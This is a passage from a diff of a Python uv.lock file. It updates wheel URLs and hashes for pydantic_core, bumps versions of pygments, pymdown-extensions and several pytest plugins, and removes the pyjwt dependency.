"https://files.pythonhosted.org/packages/4b/7f/ec2974015b4be5e50266ce732b8942d3d0b3bff751ace8900999c6577bce/pydantic_core-2.50.2-cp315-cp315-macosx_10_12_x86_64.whl", hash = "sha256:a3317630e2791f56071b82f89bb71624146125e4311e6643f708c6ba744b5ac5", size = 2230936, upload-time = "2026-10-29T16:33:43.656Z" }, + { url = "https://files.pythonhosted.org/packages/ae/ff/af99a09eddc348c1d0744c0df28dfcd4839ca497067f0fa2168208b41b1b/pydantic_core-2.50.2-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:f73930dacad5e611fe019e18df6f53c30629b1843d038d303b8dec86a32493bd", size = 2100409, upload-time = "2026-10-29T16:33:44.946Z" }, + { url = "https://files.pythonhosted.org/packages/84/75/8db3c46f02d6005277e5c2ff5933c85e7e1eb8798aa334c676c828650c3f/pydantic_core-2.50.2-cp315-cp315-manylinux1_i686.manylinux_2_5_i686.whl", hash = "sha256:e2e6240a0a5ad847017b3d65187877fdb7a11d5a58d43c30736f9f523478913b", size = 2259728, upload-time = "2026-10-29T16:33:46.461Z" }, + { url = "https://files.pythonhosted.org/packages/ee/9d/98c8d524921ca24e5c8a81a4b8f12209ac6ab05d0dd58b374e357da0ffc5/pydantic_core-2.50.2-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1fdf5b52ed22f1404c2433d0b46df2d86d9befb742d0b9b4042a2325c43cdb97", size = 2121771, upload-time = "2026-10-29T16:33:47.952Z" }, + { url = "https://files.pythonhosted.org/packages/c4/ea/68c3b1fa919946012c940dea88e94e33e7dde46abe3e3d57053793c9bab8/pydantic_core-2.50.2-cp315-cp315-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:4e9392ddf67fe97ab9889f796d468c9908a8754b8b6c7520eb03a65012b9a1e7", size = 2196328, upload-time = "2026-10-29T16:33:49.131Z" }, + { url = "https://files.pythonhosted.org/packages/eb/9b/cfb6312a5b65b02eab6bc00fb0d258d0e2e49468dab29b430e7cb49b2ceb/pydantic_core-2.50.2-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:48e944091b7bff233920bed8a60b0ed6c96c73d3c5836bf51c4b9a4bfb58e4ca", size = 2380152, upload-time = "2026-10-29T16:33:50.503Z" }, + { url = "https://files.pythonhosted.org/packages/41/5a/7fcced1d84ea294200abfa93e488f36d00732101d17bf5e1f1389e66de26/pydantic_core-2.50.2-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:91c92856b846aa690ea6239ffd6c5003c5e3e296a69095570bf4efee5bfa0bdc", size = 2462299, upload-time = "2026-10-29T16:33:51.884Z" }, + { url = "https://files.pythonhosted.org/packages/e6/d0/dd0e355694094f0045922f4da60ac9bc7a314babc494e46089fb00640fd3/pydantic_core-2.50.2-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5299296ff5cafcb69851fd652de8f9268a0bb036bcbedbfcaa94cf743baf3986", size = 2249999, upload-time = "2026-10-29T16:33:53.333Z" }, + { url = "https://files.pythonhosted.org/packages/3a/79/f5f4b36434604d22aacb7152667f87a470e68847c89b136c68a278cf409d/pydantic_core-2.50.2-cp315-cp315-manylinux_2_31_riscv64.whl", hash = "sha256:d3d049b557875f9d15230eec8a731749a7a873d8ed6a051903b05bdf46e0e65f", size = 2262745, upload-time = "2026-10-29T16:33:54.79Z" }, + { url = "https://files.pythonhosted.org/packages/14/21/a4c47a286745857758a4bb8d4d5e260c736a7bd6fab5da618f5711d1a3f1/pydantic_core-2.50.2-cp315-cp315-musllinux_1_1_aarch64.whl", hash = "sha256:b0b25d647036972c2951059046cb498f72b7af5a2def27bf8e5f44c3067ab7dd", size = 2293663, upload-time = "2026-10-29T16:33:56.132Z" }, + { url = "https://files.pythonhosted.org/packages/0d/db/25330e609fd219ce16d0a089af1b4b62095f01595dbe6972f7a7dfc313b9/pydantic_core-2.50.2-cp315-cp315-musllinux_1_1_armv7l.whl", hash = "sha256:8835566b3e94026da3ce2249f9ee35c9d2ebe4cd131f6a39bfc82708d3010a46", size = 2473247, upload-time = "2026-10-29T16:33:57.607Z" }, + { url = "https://files.pythonhosted.org/packages/53/16/704ca88b82156dc485da2dfb11d5d52a10b9ef15a294639c0aa5ebd1643e/pydantic_core-2.50.2-cp315-cp315-musllinux_1_1_x86_64.whl", hash = "sha256:3fbcd402e4b607d4b8de5d4591215f31f042af03f9d09e58f693a6221e32833f", size = 2490536, upload-time = "2026-10-29T16:33:59.297Z" }, + { url = "https://files.pythonhosted.org/packages/50/34/1fdd0eebee9f8b6c4ec3c2490f49dc59a652c8c5a7fa0cbcaada0d91cda9/pydantic_core-2.50.2-cp315-cp315-win32.whl", hash = "sha256:8431ecb131489cbdaf6f51f7ade47475f73aff4f1912552f75ba19a6cfe233a8", size = 2117204, upload-time = "2026-10-29T16:34:00.514Z" }, + { url = "https://files.pythonhosted.org/packages/24/6b/702adc91486fb96ba55675d58ee15ddc38fb48553fb35e26fd005e303206/pydantic_core-2.50.2-cp315-cp315-win_amd64.whl", hash = "sha256:04cf672960b8c4fc28bb159c8cdd101fbd311c520237a5c0360448b851adfb41", size = 2261064, upload-time = "2026-10-29T16:34:01.773Z" }, + { url = "https://files.pythonhosted.org/packages/36/0d/7f117432b8614526aa0d96fadd2b7fb7393156ddf2caf26a6fe606e6cfb6/pydantic_core-2.50.2-cp315-cp315-win_arm64.whl", hash = "sha256:36917e29c0b815d6b940bc91560fcf453b5b85d55c579796373f0ea11d1c111a", size = 2161783, upload-time = "2026-10-29T16:34:02.966Z" }, + { url = "https://files.pythonhosted.org/packages/45/1c/2ba7a34fe8da4c83ec200fb9f85ab4d54b961be08367922743623f987849/pydantic_core-2.50.2-cp315-cp315t-macosx_10_12_x86_64.whl", hash = "sha256:bd1fe69056a19c377a6c6de2c1240fb8676ba0512a969965efb486510c5e0f1f", size = 2223184, upload-time = "2026-10-29T16:34:04.214Z" }, + { url = "https://files.pythonhosted.org/packages/47/01/f71a8da1f53a5be1787d2a97ba6fd9adba115305c7f15ea0bf733ed8336c/pydantic_core-2.50.2-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:9b2383933b1dd7a8c93e02f99ebfd305f1286057172483b8e6898bed3fef69d3", size = 2078174, upload-time = "2026-10-29T16:34:05.426Z" }, + { url = "https://files.pythonhosted.org/packages/f6/0a/847e1f5427372692f6eb5c38261fed6b8cedf379e37d9f6134d48b9c8ee9/pydantic_core-2.50.2-cp315-cp315t-manylinux1_i686.manylinux_2_5_i686.whl", hash = "sha256:a1b4d60bad57d6e0e7cd30cc4d1dc646d258dd6dfb7935ce76c7dd72dd1e98b0", size = 2268813, upload-time = "2026-10-29T16:34:06.733Z" }, + { url = "https://files.pythonhosted.org/packages/f5/bb/12966dc82b5e9c347981658b52e24349b6242902b644725c00ee7bdf4267/pydantic_core-2.50.2-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:93bedc68c4138088ea3c042189c01d2945f530f0dcc36e1ea02df8418bd4f1cd", size = 2098331, upload-time = "2026-10-29T16:34:08.69Z" }, + { url = "https://files.pythonhosted.org/packages/d9/fe/340416b7ebe664524e7ada16ad2e3e069888b168010d75bda6a502bf2bf8/pydantic_core-2.50.2-cp315-cp315t-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:d684ff87d00de2f6abcbbfa9b0fdce8b513dd799a900809dcfa7eb62ad69832a", size = 2197432, upload-time = "2026-10-29T16:34:10.091Z" }, + { url = "https://files.pythonhosted.org/packages/c9/4d/425162c3d88af0d190c4dc4f940402cc6dd44d934359a37f50da6b7e4672/pydantic_core-2.50.2-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:bb6d49f00e2babd40af4889d6b9f4bf50879f522dd4e2e22cb705cac5e0c5e8e", size = 2399300, upload-time = "2026-10-29T16:34:11.462Z" }, + { url = "https://files.pythonhosted.org/packages/2b/fe/2882bddf2e2038c8f41fa69f16ddeb6eeb1c002cc0cc0eb2157f73bb34e9/pydantic_core-2.50.2-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6d47b2d0e00e030e0ebdb08115a37da7294e7a6d196d134a77ed7ee6c142284b", size = 2462672, upload-time = "2026-10-29T16:34:12.79Z" }, + { url = "https://files.pythonhosted.org/packages/6e/ac/d7e6bfc6a95573647d1a699e19228dd99914ae6aab79a2bec293a038e980/pydantic_core-2.50.2-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:95838be125133fa314753f8cc5168f7c41e3a9dd5eef5383dbbbeed511bd4853", size = 2246293, upload-time = "2026-10-29T16:34:14.065Z" }, + { url = "https://files.pythonhosted.org/packages/74/64/97473ccaeb4ae5eb338162bd8479af121484e67f7078499730e3ee0a5592/pydantic_core-2.50.2-cp315-cp315t-manylinux_2_31_riscv64.whl", hash = "sha256:2d4a043c820363359e40ac96270e1915e5376e116be1f59cee0701775de3e376", size = 2259507, upload-time = "2026-10-29T16:34:15.391Z" }, + { url = "https://files.pythonhosted.org/packages/48/15/78a9b7a6a0d0679ce1e46cdd38ff95afd18dd2d6a01ed87c80a01bc003f7/pydantic_core-2.50.2-cp315-cp315t-musllinux_1_1_aarch64.whl", hash = "sha256:57bccd3e1128736c792094da1feac6da46ec3feb1957ef649a9b3e4f8de6fa04", size = 2303550, upload-time = "2026-10-29T16:34:17.162Z" }, + { url = "https://files.pythonhosted.org/packages/39/ba/b697173f82e99cdcf5ec6654b2edb66a00f2f92ef9d9a168861fca3fcded/pydantic_core-2.50.2-cp315-cp315t-musllinux_1_1_armv7l.whl", hash = "sha256:24120c644322a35b5eb765416ac8442214c45689e255f5fc6e761e7e7c743c8b", size = 2474919, upload-time = "2026-10-29T16:34:18.841Z" }, + { url = "https://files.pythonhosted.org/packages/71/10/986be76723784ae87f9664658fae39df340eaa21681cea95b6339d2e1b3e/pydantic_core-2.50.2-cp315-cp315t-musllinux_1_1_x86_64.whl", hash = "sha256:b1adf2f37521b578c438f6ec61d1c1d0c20b076863ddd5d8b6f3ab658857db3f", size = 2509095, upload-time = "2026-10-29T16:34:20.16Z" }, + { url = "https://files.pythonhosted.org/packages/5f/0b/38dbd38c67de7642f87348da70122b89ca4c5fe8227cfdd5cc00c1cdb454/pydantic_core-2.50.2-cp315-cp315t-win32.whl", hash = "sha256:d79aaa468193c1bed6b0560d3c5c9f9e369e3efb0b128b38a2537e2d51d42773", size = 2096972, upload-time = "2026-10-29T16:34:21.715Z" }, + { url = "https://files.pythonhosted.org/packages/7a/df/154baf8413b08d6daf2f5dec211c303ec6bed50c032717f354f8dd85c994/pydantic_core-2.50.2-cp315-cp315t-win_amd64.whl", hash = "sha256:cc488daac19e6f5292180fac5e0ef7efffabeef4e096af9a17a75a7d3d6781f6", size = 2226659, upload-time = "2026-10-29T16:34:23.177Z" }, + { url = "https://files.pythonhosted.org/packages/b5/17/eea7a1e7d98a79ef11b6d31748b70c58f8723f87d7ee42edbb6a101f6245/pydantic_core-2.50.2-cp315-cp315t-win_arm64.whl", hash = "sha256:91315aea7adb51821d4a3378ede953bfdd76e3bf71551de4a82d7638cef7dc02", size = 2166387, upload-time = "2026-10-29T16:34:24.433Z" }, + { url = "https://files.pythonhosted.org/packages/f6/82/ec0384d2a74415aeef7fcd032d29af84a98da0ca25cfb4937b10a2ac78eb/pydantic_core-2.50.2-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:adec010c824290d4ca87047e8d8bfa4f85ac29f545f326cd5321696805d311ed", size = 2154528, upload-time = "2026-10-29T16:34:28.022Z" }, + { url = "https://files.pythonhosted.org/packages/8c/b4/46483477921934aa31eec9cb86ba95d2f620f4c71da749024c2e3b6e8203/pydantic_core-2.50.2-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:f47c1349c3b4274aeb18459d54244881a5c0dee0fdccedffca45704ba5c9e0a0", size = 2072173, upload-time = "2026-10-29T16:34:29.771Z" }, + { url = "https://files.pythonhosted.org/packages/4a/16/c1eb6bdd67c9d5f42b290abb86948d8de288bdf4aeca06c588c3cfe6100b/pydantic_core-2.50.2-graalpy311-graalpy242_311_native-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:4ee64baeab403b9de9c92846c5c1abec28ffb046cbc023bfae059897841f88af", size = 2116695, upload-time = "2026-10-29T16:34:31.103Z" }, + { url = "https://files.pythonhosted.org/packages/ae/67/ccd8294730d9335c687facbdfd77515fa3b323e9bbb042c5d63addc6f5f8/pydantic_core-2.50.2-graalpy311-graalpy242_311_native-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:16ec8e07c37f02dcf68939cc7f202ba9a148cc155ee2acf22d337e10b24c2cb7", size = 2263561, upload-time = "2026-10-29T16:34:32.901Z" }, + { url = "https://files.pythonhosted.org/packages/64/4d/23560b11366b547e3e68a3b8f9c02557cee707effa54fd39dbb3c4fff1fa/pydantic_core-2.50.2-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:d18d56c1ec63b304f4bb3c7db7e0d311e61cca1b1c944590a4b13ac39b2ca92b", size = 2204868, upload-time = "2026-10-29T16:34:34.745Z" }, + { url = "https://files.pythonhosted.org/packages/06/58/b9ddfaad189143d6568627166a730b6624ca90bd9a9a4af4854df88d444b/pydantic_core-2.50.2-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:41ed8abeffda6a880207fdc0cd1343a448cec3cc6b38b53f730c0745f745292d", size = 2049162, upload-time = "2026-10-29T16:34:36.186Z" }, + { url = "https://files.pythonhosted.org/packages/8b/20/99d259bf7835b2f13c6d0b3eb7bcf669fb6349986736fa7a8308a9e620b0/pydantic_core-2.50.2-graalpy312-graalpy250_312_native-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b7abcfaf66c1dc14c5ed928c349614f223c972a8b021b4be9548dbea6c817371", size = 2112135, upload-time = "2026-10-29T16:34:37.777Z" }, + { url = "https://files.pythonhosted.org/packages/9b/ca/652c8fe599abacafd852479059d209e608596ad3de82f1bff22e9f0f02fe/pydantic_core-2.50.2-graalpy312-graalpy250_312_native-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9e7460abce637f90e37f8c443559fbd687c38884d05cb69ef265e634945f4324", size = 2270339, upload-time = "2026-10-29T16:34:39.039Z" }, + { url = "https://files.pythonhosted.org/packages/18/9b/d240307fd6882a93a88bf038ff07e1a6dcac0e88f41951fe92c9b614f0b6/pydantic_core-2.50.2-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b583ddeee6a6bb5bbc04462167c68034913221139d52d9f155ca6d1637a2fdcf", size = 2157909, upload-time = "2026-10-29T16:34:40.355Z" }, + { url = "https://files.pythonhosted.org/packages/30/e5/d336fb654f8f1584b4a20d71f92c2a966419bc5eafffd36848d8cb1a916d/pydantic_core-2.50.2-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:5ab5738c39b25b5dc5a721270e2269a2f5e86e614375e6c07ee6caab8cbc0f2f", size = 2075773, upload-time = "2026-10-29T16:34:41.761Z" }, + { url = "https://files.pythonhosted.org/packages/38/08/18203f64a405f11c3e4d569c9f49ad7a0b5901cd5fa2dff2436d28531c60/pydantic_core-2.50.2-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_5_i686.whl", hash = "sha256:21a902e546032c82b7275552345a2342d862e0541aea7226c91067c396e68b3f", size = 2277290, upload-time = "2026-10-29T16:34:42.952Z" }, + { url = "https://files.pythonhosted.org/packages/9e/c4/a4e0ae45ad1554c38caa93e200fdd08e74d2c0149b4242c78b2475903379/pydantic_core-2.50.2-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:92ada606285dab054e40848a951f583c537cde1e54701ea1305ec0096877012d", size = 2265597, upload-time = "2026-10-29T16:34:44.244Z" }, + { url = "https://files.pythonhosted.org/packages/99/20/304baf7724ac137b921ce793e4b686cf4cddc431da4888e5419e7bc7374f/pydantic_core-2.50.2-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:c1b65a42afc73b39e6ae908ec7b9c3b9898676a7b15ce4c66d4965f7071007c8", size = 2289092, upload-time = "2026-10-29T16:34:45.55Z" }, + { url = "https://files.pythonhosted.org/packages/77/6f/0fe5ac160718d75f2f9729bb31aa9a349dadd0d32886b8c0ecc253629c46/pydantic_core-2.50.2-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:c324a7e0c0012e3974053f81a270d8f1aa23227571f4ddd3254c911bb356459b", size = 2458417, upload-time = "2026-10-29T16:34:46.827Z" }, + { url = "https://files.pythonhosted.org/packages/43/44/042cbd7e46f00f45aea36496ca8bdb6b1136c2ec4063875a25286c2ba8fc/pydantic_core-2.50.2-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:cb8d2d7b07cbe2d7488de7e53671f836c4f4a8032dcda079df33dc1b7e2397c0", size = 2492296, upload-time = "2026-10-29T16:34:48.374Z" }, + { url = "https://files.pythonhosted.org/packages/cb/8e/e8aef16e587215a1795dbe991e41006003aef1f1b6f554361f3a6edd585a/pydantic_core-2.50.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:7c6e1bd6cadae13958e52897ef020e85c9916a95917149fca463bb0c0421a7c6", size = 2323090, upload-time = "2026-10-29T16:34:50.008Z" }, + { url = "https://files.pythonhosted.org/packages/21/36/d083f973e28c5718f9d9d819c0b8171df1526124e8c3709bd55ddf1d4244/pydantic_core-2.50.2-pp311-pypy311_pp80-macosx_10_12_x86_64.whl", hash = "sha256:f078e276848bc23d1f92f46fc88d5b9cbb824b9acc60d9e07116620e502e16a9", size = 2157909, upload-time = "2026-10-29T16:34:51.579Z" }, + { url = "https://files.pythonhosted.org/packages/0c/4b/e2eb5b51f46411ceb80451a7bf4aee215fd84012eeba22a183b4699006b5/pydantic_core-2.50.2-pp311-pypy311_pp80-macosx_11_0_arm64.whl", hash = "sha256:3435c443da7510a6de1a30c68beae338852a11f0440cc8320ea756a162f38dbe", size = 2075771, upload-time = "2026-10-29T16:34:53.469Z" }, + { url = "https://files.pythonhosted.org/packages/d5/99/e9703785468d1e644f19d602985b722ff97cc8ca67389e2d79f8fb562cfa/pydantic_core-2.50.2-pp311-pypy311_pp80-manylinux_2_28_x86_64.whl", hash = "sha256:b5675a12a7b67063fe3ca187e735b0463cf13fabc10166ae4d4b2f775fd0632d", size = 2265708, upload-time = "2026-10-29T16:34:54.662Z" }, + { url = "https://files.pythonhosted.org/packages/bd/d7/079d3d36aa6ee0333847d968d91ff185837541741d3c58ed0316103309bf/pydantic_core-2.50.2-pp311-pypy311_pp80-win_amd64.whl", hash = "sha256:f5ba7ef10ce82737e173fa95cafa1c8210918f7e653715b2c7a7a31877a74848", size = 2323087, upload-time = "2026-10-29T16:34:56.176Z" }, ] [[package]] name = "pygments" -version = "2.19.2" +version = "2.21.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/b0/77/a5b8c569bf593b0140bde72ea885a803b82086995367bf2037de0159d924/pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887", size = 4968631, upload-time = "2025-06-21T13:39:12.283Z" } +sdist = { url = "https://files.pythonhosted.org/packages/49/2e/ced460408999b33da6b31b0021b0f37d329e202d4169aeb164493778f25b/pygments-2.21.0.tar.gz", hash = "sha256:610ca751c9bc2492b38eb9a38a7fbc93edbbb2d7182edaf34e66ae493dee5c8c", size = 5005329, upload-time = "2026-08-17T08:02:48.824Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/c7/21/705964c7812476f378728bdf590ca4b771ec72385c533964653c68e86bdc/pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b", size = 1225217, upload-time = "2025-06-21T13:39:07.939Z" }, -] - -[[package]] -name = "pyjwt" -version = "2.13.0" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "typing-extensions", marker = "python_full_version < '3.11'" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/3b/81/58d0ac84e1ef3a3843791d6954d94c0b33d526c75eeb1efbce9d0a4c4077/pyjwt-2.13.0.tar.gz", hash = "sha256:41571c89ca91598c79e8ef18a2d07367d4810fbbd6f637794879baf1b7703423", size = 107515, upload-time = "2026-05-21T19:54:36.618Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/a3/5e/ecf12fdb62546d64385c158514e9b2b671f7832108ef2ecd2020ce0af2d1/pyjwt-2.13.0-py3-none-any.whl", hash = "sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728", size = 31274, upload-time = "2026-05-21T19:54:35.362Z" }, + { url = "https://files.pythonhosted.org/packages/71/46/17f022dd3e953bf20a04a028a21ec746d942f8d2af30fa0f124fa0e6a684/pygments-2.21.0-py3-none-any.whl", hash = "sha256:2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377137d9", size = 1250147, upload-time = "2026-08-17T08:02:44.912Z" }, ] [[package]] name = "pymdown-extensions" -version = "11.0.1" +version = "12.3" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "markdown" }, { name = "pyyaml" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/21/a9/5f0c535ba3b08fe09270c16808e053a968868242ecbd5676d4e3a488bf28/pymdown_extensions-11.0.1.tar.gz", hash = "sha256:dd2905ae6fc5b75582fafb139a1266ffc754705efa902aa50067fa7ff4f94ec0", size = 857113, upload-time = "2026-07-02T17:59:22.955Z" } +sdist = { url = "https://files.pythonhosted.org/packages/f3/fe/ac50ee24a80a1b344e643f6fb626063cc7041b978cd1dd9a7f9963ae1cd1/pymdown_extensions-12.3.tar.gz", hash = "sha256:a7f2a4e0bc60c6e6babfa7922cfb3b01cd640eb00fb208f3c582e12bae00ea67", size = 870532, upload-time = "2026-10-14T22:40:43.252Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/d6/54/da572c98c0b77626a91b5d3b89f0231d8bff5125c225420908632f8b342d/pymdown_extensions-11.0.1-py3-none-any.whl", hash = "sha256:db3943a62bab7e03af1364f0c4083e64b91fb097675a4b6cceccfbe9a77e5eb2", size = 269455, upload-time = "2026-07-02T17:59:21.271Z" }, + { url = "https://files.pythonhosted.org/packages/8a/d0/758afe732c2da502c051b4d03ff88daa3c0fc1a1e671e6c5a6318177bab4/pymdown_extensions-12.3-py3-none-any.whl", hash = "sha256:345493a8e3497e24382902903a1c43a28e34a52f2b7571a1c9641429b820ca74", size = 277597, upload-time = "2026-10-14T22:40:41.543Z" }, ] [[package]] @@ -2324,47 +1975,44 @@ wheels = [ [[package]] name = "pytest" -version = "9.1.1" +version = "9.2.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "colorama", marker = "sys_platform == 'win32'" }, - { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, { name = "iniconfig" }, { name = "packaging" }, { name = "pluggy" }, { name = "pygments" }, - { name = "tomli", marker = "python_full_version < '3.11'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/e4/47/b9efed96c114afcfa3c9d3fe98a76a1d14c74a9e266d397cf6eb64be5e01/pytest-9.1.1.tar.gz", hash = "sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313", size = 1636369, upload-time = "2026-06-19T10:58:32.857Z" } +sdist = { url = "https://files.pythonhosted.org/packages/79/42/bb4641652e58dedeac2ec51abc1f8cae4fee4ec63899a0999016229a0f2a/pytest-9.2.0.tar.gz", hash = "sha256:97c4f3b1f3c7414aa36465e09b8220f1d03627993bd51b1282e193753c80557b", size = 1797555, upload-time = "2026-10-27T21:30:20.728Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c", size = 386536, upload-time = "2026-06-19T10:58:31.347Z" }, + { url = "https://files.pythonhosted.org/packages/51/39/1f5d8c8877a0fa327db959c19341d4be61660de1ab6b7391f9eb805bcd67/pytest-9.2.0-py3-none-any.whl", hash = "sha256:07acdcf88ec174f907dc01af70bf52d49b014bbab03faeeade31c96b18c2e588", size = 411776, upload-time = "2026-10-27T21:30:19.131Z" }, ] [[package]] name = "pytest-asyncio" -version = "1.4.0" +version = "1.4.1.post1" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "backports-asyncio-runner", marker = "python_full_version < '3.11'" }, { name = "pytest" }, { name = "typing-extensions", marker = "python_full_version < '3.13'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/43/7c/d36d04db312ecf4298932ef77e6e4a9e8ad017906e24e34f0b0c361a2473/pytest_asyncio-1.4.0.tar.gz", hash = "sha256:c6c0d2259945122819f171a32ecea2c349ead889ee28176caaf492143424be42", size = 58514, upload-time = "2026-05-26T09:56:04.083Z" } +sdist = { url = "https://files.pythonhosted.org/packages/73/7f/c60a4338420b33453d4f814ac0c930abd399f162b9bdd21af4b9e363037f/pytest_asyncio-1.4.1.post1.tar.gz", hash = "sha256:f582d9ea4a1c082195abe8bd29a1fe106aeb1cd435e3dad2d3bc2749935c36a2", size = 145360, upload-time = "2026-11-01T18:26:03.732Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/03/e2/08a497ef684b88559c9cc5f4ad53a37e7b99e727094a86d6ea32536d5d3c/pytest_asyncio-1.4.0-py3-none-any.whl", hash = "sha256:933ca923a23075a87fb7070c0ec272a6848489824d887c85c812670932835aa1", size = 16930, upload-time = "2026-05-26T09:56:02.576Z" }, + { url = "https://files.pythonhosted.org/packages/e3/de/adbc7578959cfab07e5e7c05cf6d54224a51e7667ea2c07458b6bc571e75/pytest_asyncio-1.4.1.post1-py3-none-any.whl", hash = "sha256:0755e488cc0a2b9bd2eab7292cc6390d4cbb8390f1020745647bae5a708e0165", size = 17140, upload-time = "2026-11-01T18:26:02.168Z" }, ] [[package]] name = "pytest-benchmark" -version = "5.2.3" +version = "5.3.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "py-cpuinfo" }, + { name = "py-cpuinfo2" }, { name = "pytest" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/24/34/9f732b76456d64faffbef6232f1f9dbec7a7c4999ff46282fa418bd1af66/pytest_benchmark-5.2.3.tar.gz", hash = "sha256:deb7317998a23c650fd4ff76e1230066a76cb45dcece0aca5607143c619e7779", size = 341340, upload-time = "2025-11-09T18:48:43.215Z" } +sdist = { url = "https://files.pythonhosted.org/packages/13/d1/1bc61155de46f25473a06476ad1b3a94f96d40d49cfa98f82c1184117808/pytest_benchmark-5.3.1.tar.gz", hash = "sha256:c1ee70a58f9bfb1ac955cc634247a340b0df7bcb949071cfca396f16c6fc3516", size = 385467, upload-time = "2026-11-01T03:32:10.048Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/33/29/e756e715a48959f1c0045342088d7ca9762a2f509b945f362a316e9412b7/pytest_benchmark-5.2.3-py3-none-any.whl", hash = "sha256:bc839726ad20e99aaa0d11a127445457b4219bdb9e80a1afc4b51da7f96b0803", size = 45255, upload-time = "2025-11-09T18:48:39.765Z" }, + { url = "https://files.pythonhosted.org/packages/78/75/919ac85ad3f762e45aa369d2f68d40390e316474b6bb8434aeb6e3c8bf8b/pytest_benchmark-5.3.1-py3-none-any.whl", hash = "sha256:d7732a9952b1c4a4a32277adc693739126eab37afc3a711847f53805ccadc020", size = 49142, upload-time = "2026-11-01T03:32:08.359Z" }, ] [[package]] @@ -2383,54 +2031,40 @@ wheels = [ [[package]] name = "pytest-env" -version = "1.7.0" +version = "1.8.5" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "pytest" }, { name = "python-dotenv" }, - { name = "tomli", marker = "python_full_version < '3.11'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/65/49/08ee056f9cc655e437abcf2ae399884844b623223476ae6a77244131db03/pytest_env-1.7.0.tar.gz", hash = "sha256:0c1dc1101fb8d3ab3611e8f8d657ba06c3c0c167fc85c90457e5b27f2508f43e", size = 16408, upload-time = "2026-07-21T13:09:21.834Z" } +sdist = { url = "https://files.pythonhosted.org/packages/2d/ae/a9397814bd3361623e49198bc110e316c7ac79d2d9d5b993182376a8c8e7/pytest_env-1.8.5.tar.gz", hash = "sha256:992c37efdc1bde2f0783975080ac4cdcea85f36df9d6fe3a835edd01a7e06584", size = 52398, upload-time = "2026-11-04T05:10:54.11Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/3e/fc/9f2975c41d41bf5bd9a7d0fc03085ec20052b456b079df53828ae4a1b100/pytest_env-1.7.0-py3-none-any.whl", hash = "sha256:9ee0f1fe859d23fcdb533fe2909a404b3b133d02674a56df275bbe4df4eb104b", size = 10263, upload-time = "2026-07-21T13:09:20.677Z" }, + { url = "https://files.pythonhosted.org/packages/4c/da/584de88bdcbd8ecb66a1af87ddfc2bc57cd58fa21e974138ac6cb2f78a1b/pytest_env-1.8.5-py3-none-any.whl", hash = "sha256:0e3b3a4c84d3303904005e3b62eab51e197c36735f5862bed229c0ac6f1fd739", size = 10035, upload-time = "2026-11-04T05:10:52.777Z" }, ] [[package]] name = "pytest-httpserver" -version = "1.1.5" +version = "1.2.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "werkzeug" }, ] 